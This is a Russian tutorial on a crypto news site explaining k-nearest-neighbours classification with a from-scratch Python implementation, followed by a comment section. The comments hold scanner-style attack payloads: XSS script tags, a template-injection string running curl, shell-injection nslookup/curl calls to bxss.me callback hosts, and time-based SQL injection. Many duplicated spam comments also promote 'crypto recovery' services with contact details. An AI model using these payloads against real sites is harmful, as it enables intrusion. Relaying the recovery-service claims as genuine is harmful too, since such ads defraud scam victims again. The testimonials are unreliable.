Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Машинное обучение: Классификация методом KNN. Теория и реализация. С нуля. На чистом Python

В этой статье я привел основные сведения о методе классификации k-ближайших соседей. Рассказываю все в своем стиле. Теоретические моменты и простая реализация.

Содержание: что это за метод, идея этого метода, как классифицировать (регрессировать) новые объекты, масштабирование признаков, как его можно применять, реализация.

Введение

Рассмотрим классификацию с помощью KNN. KNN относится к алгоритмам обучения с учителем, который можно использовать для решения задач классификации и регрессии. Он классифицирует данные или предсказывает их принадлежность к классам на основе близости к другим объектам в исходном наборе данных.

Этот метод использует концепцию близости, которая также важна в методах кластеризации. Эта концепция заключается в том, что объекты с одним и тем же классом (категорией) находятся близко друг к другу (в пространстве представлений). Это сходство измеряется с помощью функций расстояния, таких как евклидово расстояние.

Если рассматриваемый объект находится рядом с другими объектами определенного класса, то рассматриваемому объекту присваивается этот класс. Этот метод классификации является основой для метода кластеризации К-средних.

Классификация — это разделение данных на классы на основе размеченных данных (с учителем). Сначала учитель как бы говорит, к какому классу относятся различные объекты, а потом ученик должен сказать, к какому классу относятся новые объекты, которые учитель не показывал. Нужно сказать ученику, на основе скольких близко похожих объектов нужно классифицировать новый объект (на основе k близко похожих).

Формулировка задачи

Пусть есть некоторый набор данных, состоящий из n наблюдений (объектов)x_i = (x_{i1},...,x_{im}), i=1,...,n, m — число признаков, для каждого из которых задан класс c_{ik}, k=1,...,p, p — число классов, к которому относится этот объект. На основе этих данных можно сформировать исходный набор пар(x_i, c_j), на основе которого можно произвести классификацию новых объектов, которых нет в исходном наборе.

Идея алгоритма KNN. Первым шагом является выбор количества ближайших соседей k, которые будут использоваться для определения того, к какой категории отнести рассматриваемую точку данных.

Затем вычисляется расстояние, чаще всего евклидово расстояние, между новой точкой данных и всеми точками в обучающем наборе данных.

Берутся k ближайших точек (соседей) к данной точке по вычисленному расстоянию.

Для задачи классификации определяется наиболее часто встречающийся класс среди этих k ближайших объектов, то есть количество точек данных, которые имеют определенный класс вокруг рассматриваемой точки. Для регрессии можно использовать среднее значение соседей.

Классификация новых объектов

Сначала нужно подготовить данные, привести их в удобный для работы вид. Нужно сделать набор данных, на основе которого будут производиться расчеты с новыми точками данных. По факту эта модель не нуждается в обучении, она просто работает на основе исходного набора данных.

Выбираются k ближайших объектов (соседей) из исходной выборки, где k — параметр, задаваемый заранее. Модель просто запоминает векторы признаков наблюдений и их соответствующие метки классов. Модели подается новый, не классифицированный объект, она вычисляет расстояние между этим объектом и всеми объектами в обучающей выборке. Класс нового объекта определяется как класс, который наиболее часто встречается среди этих k ближайших точек (объектов). Нужно просто посчитать наибольшее число одинаковых классов.

Выбор параметра k является важным для получения корректных результатов классификации. Если значение параметра мало, то возникает эффект переобучения, когда решение по классификации принимается на основе малого числа примеров и имеет низкую значимость.

Расстояние между объектами вычисляется с помощью некоторой функции, такой как евклидово расстояние, манхэттенское расстояние или другой, выбранной в зависимости от конкретной задачи. Выбор метрики расстояния является довольно важным для алгоритма KNN.

Евклидово расстояние между двумя точками вычисляется по этой формуле:

d(a, b) = \sqrt{\sum_{j = 1}^{m} (a_j - b_j)^2}

d — функция расстояния (distance), a и b — точки данных (объекты, векторы признаков), a_j и b_j - элементы векторов (признаки), m — количество признаков в векторе (количество координат).

На рисунке изображена плоскость с набором точек, в центре круга — новая точка, для которой необходимо определить класс. Нужно посчитать расстояние до всех других точек и выбрать k точек, которые находятся ближе всего. Если k = 2, то будут выбраны точки с номерами 1 и 2, если k = 3, то будут выбраны точки с номерами 1, 2 и 3, и так далее. Для определения класса нужно посчитать количество точек для каждого класса из выбранных точек, наибольшее число классов будет являться ответом модели. Если число классов одинаковое, то нужно увеличить или уменьшить число k, а лучше оценить класс новой точки на разном числе k, например для k = 3, 5, 7 или другие значения.

Изображение набора точек и 6 ближайших точек к рассматриваемой
Изображение набора точек и 6 ближайших точек к рассматриваемой

Также число k можно не задавать, а задать определенный радиус круга (многомерной сферы) и рассматривать точки, которые входят в полученный круг. Так же посчитать количество точек каждого класса и выбрать класс с наибольшим числом.

Также есть взвешенный способ, он учитывает не только количество соседей, но и их удаленность от нового значения. Это может улучшить точность прогнозов, особенно в случаях, когда ближайшие соседи не равнозначны. В прогнозе участвует значение расстояний до точек. Это может быть, например, вычисление суммы расстояний до каждой точки каждого класса или умножение числа точек каждого класса на сумму расстояний.

Применение KNN

KNN тесно связан с концепциями близости и сходства, которые также важны в кластеризации. Его широкое применение в различных задачах машинного обучения делает его мощным инструментом в арсенале специалистов по машинному обучению. Понимание KNN служит основой для понимания метода кластеризации K-means.

KNN является интерпретируемым методом, поскольку всегда можно обосновать его прогноз, сославшись на похожие объекты в обучающей выборке.

KNN может применяться в онлайн-обучении, когда данные поступают динамическим потоком и быстро устаревают. Однако для этого могут быть необходимы специальные подходы для ускорения вычислений.

Для увеличения производительности, особенно при работе с большими объемами данных, можно использовать более продвинутые методы, такие как бинарные деревья (BallTree, KDTree), которые позволяют ускорить поиск ближайших соседей.

Преимуществом KNN является то, что он не требует обучения модели, что делает его гибким и простым в реализации. Он может работать с любыми типами данных и выстраивать нелинейные решающие границы.

Недостатком является высокая вычислительная сложность при больших объемах данных и чувствительность к выбору метрики расстояния и параметра k — количества ближайших точек.

KNN можно использовать в рекомендательных системах, где нужно предложить пользователю что-то похожее на то, что он уже любит или оценил положительно. Алгоритм может быть использован для поиска документов с похожими темами или содержанием.

Метод KNN может использоваться как для задач классификации, так и для задач регрессии. В случае классификации, объекту присваивается класс, который является наиболее распространенным среди k ближайших соседей. В случае регрессии, объекту присваивается среднее значение по ближайшим к нему объектам.

Подготовка данных

Поскольку KNN основан на расстояниях между объектами, он чувствительность к масштабу признаков, поэтому, перед тем, как использовать эту модель, необходимо отмасштабировать признаки, чтобы они имели одинаковый масштаб. Для этого можно использовать стандартное масштабирование, минимакс-нормализацию или Z-нормализацию для обеспечения равного масштаба всех признаков.

Различные характеристики объектов могут обладать разным диапазоном значений. Если величина одного признака будет маленькой, например, от 0.01 до 0.05, а величина другого признака будет от 10 до 50, то это будет сильно влиять на величину расстояния между векторами признаков — признаки с большими диапазонами значений будут сильно влиять на оценку расстояния.

Минимакс-масштабирование — преобразование данных в диапазоне от 0 до 1, минимальное и максимальное масштабируемые значения соответствуют 0 и 1:

x_{ij} = \frac{x_{ij} - X_{j min}}{X_{j max} - X_{j min}}

X_j — список всех j-х признаков по всем объектам, j=1,…,m, m — число признаков, min и max — минимальное и максимальное значение j-го признака по всем объектам в наборе данных, x_{ij} — j-й признак i-го объекта.

Z-масштабирование — масштабирование на основе среднего значения и стандартного отклонения (см. линейная регрессия).

x_{ij} = \frac{x_{ij} - mean(X_j)}{std(X_j)}

Создание набора данных

Делаем искусственный набор данных и копируем получившиеся точки в другой файл.

from random import randint
from matplotlib import pyplot as plt

def class_point_data_points(n_samples, class_point, noise=1):
    def offset_point():
        offset_x = randint(-100 * noise, noise * 100) / 100
        offset_y = randint(-100 * noise, noise * 100) / 100
        x = class_point[0] + offset_x
        y = class_point[1] + offset_y
        return x, y

    points = [offset_point() for _ in range(n_samples)]
    x_list = [points[i][0] for i in range(n_samples)]
    y_list = [points[i][1] for i in range(n_samples)]

    return x_list, y_list


x1_list, y1_list = class_point_data_points(n_samples=10, class_point=(1, 1), noise=0.9)
x2_list, y2_list = class_point_data_points(n_samples=7, class_point=(4, 2.5), noise=2.5)

print(x1_list, y1_list)
print(x2_list, y2_list)

plt.scatter(x=x1_list, y=y1_list, color='red')
plt.scatter(x=x2_list, y=y2_list, color='green')
plt.show()
Вывод программы
Вывод программы
Получившиеся точки на графике
Получившиеся точки на графике

Простая реализация

Делаем набор данных, каждый элемент состоит из трех элементов: координата 1, координата 2 и метка класса.

x1 = [1.34, 1.16, 1.54, 0.46, 1.8, 1.86, 0.7, 0.52, 1.24, 1.32]
y1 = [1.8, 1.33, 1.37, 1.71, 0.68, 0.29, 1.3, 0.25, 1.07, 0.25]
x2 = [5.0, 5.88, 3.69, 2.61, 4.66, 2.09, 4.82]
y2 = [0.14, 0.61, 4.37, 1.74, 3.3, 2.98, 4.25]

points_class1 = [(x1[i], y1[i], 'c1') for i in range(len(x1))]
points_class2 = [(x2[i], y2[i], 'c2') for i in range(len(x2))]

features_num = 2

labels = ['c1', 'c2']

Указываем для каждой точки ее принадлежность к определенному классу «c1» или «c2» и создаем список всех меток классов.

Делаем функцию для вычисления евклидова расстояния до каждой точки от рассматриваемой новой.

def euclidian_dinstance(points, new_point):
    distances = []

    for point in points:
        point_distance = 0

        for i in range(features_num):
            point_distance += (new_point[i] - point[i]) ** 2

        distances.append((point_distance, point[2]))  # расстояние до точки и ее класс

    return distances

Эта функция возвращает список расстояний до всех точек и метки их классов. Метку класса нужно запоминать для того, чтобы потом ее использовать для идентификации класса у этих расстояний.

Далее делаем функцию для нахождения минимального расстояния в списке расстояний.

def get_min_item(distances):  # найти минимальный элемент
    min_dist, min_item_idx, min_item_label = 1000000, 0, 'c1'

    for idx, dist in enumerate(distances):
        if dist[0] < min_dist:
            min_dist = dist[0]
            min_item_label = dist[1]
            min_item_idx = idx

    return min_item_idx, min_item_label

Находим минимальное расстояние, нам нужна только метка класса, но мы будет использовать эту функцию несколько раз, поэтому нужно запомнить индекс минимального элемента, чтобы потом удалить этот элемент из списка расстояний. Не забываем, что нужно инициализировать min_dist большим значением, которого нету в списке расстояний.

Теперь делаем функцию, в которой будет вычисляться метка класса для новой точки данных.

def knn(points, new_point, k):
    distances, min_labels = euclidian_dinstance(points, new_point), []

    for _ in range(k):
        min_item_idx, min_item_label = get_min_item(distances)
        distances.pop(min_item_idx)  # убрать из списка минимальное значение
        min_labels.append(min_item_label)

    label_score = {label: 0 for label in labels}

    for label in min_labels:
        label_score[label] += 1

    max_score, max_label = 0, 'c1'

    for label, score in label_score.items():
        if score > max_score:
            max_score = score
            max_label = label

    return max_label

Сначала вычисляем расстояния до всех точек. Потом узнаем метки классов до k ближайших точек, записываем метки класса k ближайших точек в список min_labels. Делаем словарь label_score и считаем количество каждой метки. Потом вычисляем метку с максимальным значением меток класса и возвращаем из функции рассчитанную метку класса.

Теперь определяем метку класса для новой точки.

print(knn(points=points_class1+points_class2, new_point=(4, 2), k=3))  # c2

Улучшение кода

Сделаем класс для модели KNN и сделаем написанный алгоритм более удобным в использовании. В методе init делаем копию набора данных.

class KNN:
    def __init__(self, points, labels):
        self.points, self.labels = points[:], labels[:]

Внутри класса делаем метод для вычисления расстояния до каждой точки. Нижнее подчеркивание в начале названия метода означает, что этот метод является приватным, то есть его не нужно использовать извне.

def _euclidean_dinstance_(self, new_point):
    distances = []
    
    for point in self.points:
        point_distance = 0
    
        for i in range(2):
            point_distance += (new_point[i] - point[i]) ** 2
    
        distances.append(point_distance)
    
    return distances

Далее делаем метод для вычисления индекса минимального элемента.

def _get_min_item_idx_(self, distances):  # найти индекс минимального элемента
    min_dist, min_item_idx = 1000000, 0
    
    for idx, dist in enumerate(distances):
        if dist < min_dist:
            min_dist = dist
            min_item_idx = idx
    
    return min_item_idx

И основной метод для классификации новой точки.

def predict(self, new_point, k):
    distances = self._euclidean_dinstance_(new_point)
    labels = self.labels[:]  # скорировать список меток
    label_score = {label: 0 for label in labels}
    
    for _ in range(k):
        min_item_idx = self._get_min_item_idx_(distances)
        distances.pop(min_item_idx)
        label = labels.pop(min_item_idx)
        label_score[label] += 1
    
    max_score, max_label = 0, 'c1'
    
    for label, score in label_score.items():
        if score > max_score:
            max_score = score
            max_label = label
    
    return max_label

На вход передается новая точка и количество ближайших соседей. Вычисляется расстояние до всех точек в исходном наборе данных, делается копия списка меток и словарь для подсчета числа точек каждого класса поблизости. Вычисляем индекс минимального расстояния, удаляем элемент с этим индексом из списков меток и расстояний, получаем значение метки и увеличиваем число для данной метки. Затем просто вычисляем метку с максимальным числом.

Далее немного изменяем подготовку данных и смотрим что получилось.

points = [(x1[i], y1[i]) for i in range(len(x1))]
points += [(x2[i], y2[i]) for i in range(len(x2))]
labels = ['c1' for i in range(len(x1))]
labels += ['c2' for i in range(len(x2))]

knn = KNN(points, labels)
print(knn.predict(new_point=(4, 2), k=10))
print(knn.predict(new_point=(0.6, 0.5), k=10))
output:
c1
c2

Модель работает для обоих классов.

Задачи для самостоятельного решения

  • Разобраться, как решать задачу регрессии на основе метода KNN;

  • Попробовать разные метрики расстояния и разное число k;

  • Сделать набор данных для большего числа признаков и сделать модель для этих данных.

Заключение

Мы рассмотрели что представляет собой метод KNN и как его можно применять. Сделали модель KNN с нуля и убедились, что все работает верно, так, как было описано в теоретической части. Сначала мы сделали искусственный набор данных, подготовили его для работы с ним. Потом мы сделали пробную реализацию модели KNN, она получилась не очень удобной для использования. Затем мы сделали более удобную версию кода для использования и улучшили код, написанный ранее. В результате получилось так, что все работает как было задумано.

Эту статью я сделал для своего проекта (открытого). Подробнее о моей деятельности в моем профиле на Хабре.

Ссылка на папку с кодом из этой статьи на ГитХабе.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking 